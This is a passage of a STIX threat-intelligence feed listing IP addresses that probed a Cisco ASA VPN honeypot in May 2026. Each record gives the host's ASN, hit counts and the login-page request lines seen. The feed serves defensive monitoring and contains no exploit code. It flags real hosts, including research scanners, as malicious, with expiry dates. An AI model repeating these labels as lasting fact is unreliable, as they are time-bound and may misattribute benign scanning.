      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T01:24:39.138Z",
          "last_seen": "2026-05-29T03:05:51.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 202412 (Omegatech LTD)",
      "id": "indicator--5f9f5c88-abf2-4089-aa85-9c9712e1aaad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.16.55.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1473,
          "first_seen": "2026-05-07T02:02:50.371Z",
          "last_seen": "2026-05-30T01:38:27.971Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8d34ad4e-e31e-4d0a-bf1e-673097e88495",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T02:12:49.127Z",
          "last_seen": "2026-05-23T11:08:23.026Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f6c88c6d-f0c9-4c43-9830-9ebb76b89c28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-07T01:33:48.603Z",
          "last_seen": "2026-05-29T20:30:10.427Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4f3901d6-3850-47ce-ab48-479ddfc22adb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T01:37:50.079Z",
          "last_seen": "2026-05-07T01:37:58.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T02:04:43.008Z",
          "last_seen": "2026-05-07T02:05:03.750Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a6963415-cb64-4cb6-aeab-77acca8ef186",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-07T01:21:50.114Z",
          "last_seen": "2026-05-26T07:56:16.541Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9ae4226b-0289-416b-8aee-f5d3709beb6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T02:56:11.433Z",
          "last_seen": "2026-05-29T12:58:44.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--1bac8e51-f21b-481b-a97a-ed86821461ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T02:27:20.725Z",
          "last_seen": "2026-05-07T02:27:30.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--81e557e7-7164-402f-9328-5b2917471ffb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T02:24:53.911Z",
          "last_seen": "2026-05-22T16:05:48.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--21308a8c-dc04-49c4-92c4-7ab7261ac5f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-07T02:27:54.897Z",
          "last_seen": "2026-05-30T13:20:44.445Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fef21116-3e75-453c-9743-a57bce1b0583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-07T02:32:46.396Z",
          "last_seen": "2026-05-26T09:58:55.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2aec9e16-ab11-4334-8bdf-94bce91cbbf4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T02:46:35.228Z",
          "last_seen": "2026-05-07T02:46:45.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--45976614-b0aa-44b9-9585-966a3f8f6001",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T03:17:58.450Z",
          "last_seen": "2026-05-07T03:18:07.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--78601441-c95e-40c5-8651-c080af99356e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T03:19:19.865Z",
          "last_seen": "2026-05-07T03:19:19.865Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--d98ea06c-8987-4056-a800-e45b0cac448b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T03:19:20.204Z",
          "last_seen": "2026-05-07T03:19:20.204Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--8e3630cb-86e6-41f3-bd42-be4ed94b8503",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:20:10.000Z",
      "valid_until": "2026-06-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T03:16:39.396Z",
          "last_seen": "2026-05-07T03:16:39.396Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ec760edd-05f8-428e-a202-fa5d737b4ab6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:20:05.000Z",
      "valid_until": "2026-06-08T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T03:36:17.636Z",
          "last_seen": "2026-05-24T02:20:38.511Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b9d9c13a-fc7f-4a77-909b-5955ce03049f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:20:05.000Z",
      "valid_until": "2026-06-08T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-05T00:38:11.235Z",
          "last_seen": "2026-05-29T12:26:16.612Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9ed034f1-9d66-44e7-adba-72f193cb42ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:20:05.000Z",
      "valid_until": "2026-06-08T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T03:21:17.364Z",
          "last_seen": "2026-05-07T03:21:17.364Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--0ce4a807-31c7-4026-995e-8edb758d3b7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:20:05.000Z",
      "valid_until": "2026-06-08T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
